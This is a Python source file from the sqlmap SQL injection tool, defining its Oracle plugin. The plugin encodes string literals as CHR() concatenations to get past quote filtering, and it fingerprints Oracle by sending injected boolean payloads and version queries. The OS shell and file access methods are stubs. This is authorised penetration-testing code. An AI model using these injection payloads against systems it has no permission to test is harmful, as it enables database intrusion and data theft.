#!/usr/bin/env python """ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2007-2010 Bernardo Damele A. G. Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import re from lib.core.agent import agent from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.core.settings import ORACLE_SYSTEM_DBS from lib.core.unescaper import unescaper from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem from plugins.generic.fingerprint import Fingerprint from plugins.generic.misc import Miscellaneous from plugins.generic.takeover import Takeover class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Oracle methods """ def __init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS Enumeration.__init__(self, "Oracle") Filesystem.__init__(self) Takeover.__init__(self) unescaper.setUnescape(OracleMap.unescape) @staticmethod def unescape(expression, quote=True): if quote: while True: index = expression.find("'") if index == -1: break firstIndex = index + 1 index = expression[firstIndex:].find("'") if index == -1: raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] #unescaped = "(" unescaped = "" for i in range(firstIndex, lastIndex): unescaped += "CHR(%d)" % (ord(expression[i])) if i < lastIndex - 1: unescaped += "||" #unescaped += ")" expression = expression.replace(old, unescaped) else: expression = "||".join("CHR(%d)" % ord(c) for c in expression) return expression @staticmethod def escape(expression): while True: index = expression.find("CHR(") if index == -1: break firstIndex = index index = expression[firstIndex:].find("))") if index == -1: raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] oldUpper = old.upper() oldUpper = oldUpper.replace("CHR(", "").replace(")", "") oldUpper = oldUpper.split("||") escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) expression = expression.replace(old, escaped) return expression def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += "Oracle" return value actVer = formatDBMSfp() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = getHtmlErrorFp() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if conf.dbms in ORACLE_ALIASES: setDbms("Oracle") self.getBanner() if not conf.extensiveFp: return True logMsg = "testing Oracle" logger.info(logMsg) payload = agent.fullPayload(" AND ROWNUM=ROWNUM") result = Request.queryPage(payload) if result: logMsg = "confirming Oracle" logger.info(logMsg) payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DMBS is not Oracle" logger.warn(warnMsg) return False setDbms("Oracle") self.getBanner() if not conf.extensiveFp: return True query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1" version = inject.getValue(query, unpack=False) if re.search("^11", version): kb.dbmsVersion = ["11i"] elif re.search("^10", version): kb.dbmsVersion = ["10g"] elif re.search("^9", version): kb.dbmsVersion = ["9i"] elif re.search("^8", version): kb.dbmsVersion = ["8i"] return True else: warnMsg = "the back-end DMBS is not Oracle" logger.warn(warnMsg) return False def forceDbmsEnum(self): if conf.db: conf.db = conf.db.upper() else: conf.db = "USERS" warnMsg = "on Oracle it is only possible to enumerate " warnMsg += "if you provide a TABLESPACE_NAME as database " warnMsg += "name. sqlmap is going to use 'USERS' as database " warnMsg += "name" logger.warn(warnMsg) if conf.tbl: conf.tbl = conf.tbl.upper() def getDbs(self): warnMsg = "on Oracle it is not possible to enumerate databases" logger.warn(warnMsg) return [] def readFile(self, rFile): errMsg = "File system read access not yet implemented for " errMsg += "Oracle" raise sqlmapUnsupportedFeatureException, errMsg def writeFile(self, wFile, dFile, fileType=None, confirm=True): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" raise sqlmapUnsupportedFeatureException, errMsg def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" raise sqlmapUnsupportedFeatureException, errMsg def osShell(self): errMsg = "Operating system shell functionality not yet " errMsg += "implemented for Oracle" raise sqlmapUnsupportedFeatureException, errMsg def osPwn(self): errMsg = "Operating system out-of-band control functionality " errMsg += "not yet implemented for Oracle" raise sqlmapUnsupportedFeatureException, errMsg def osSmb(self): errMsg = "One click operating system out-of-band control " errMsg += "functionality not yet implemented for Oracle" raise sqlmapUnsupportedFeatureException, errMsg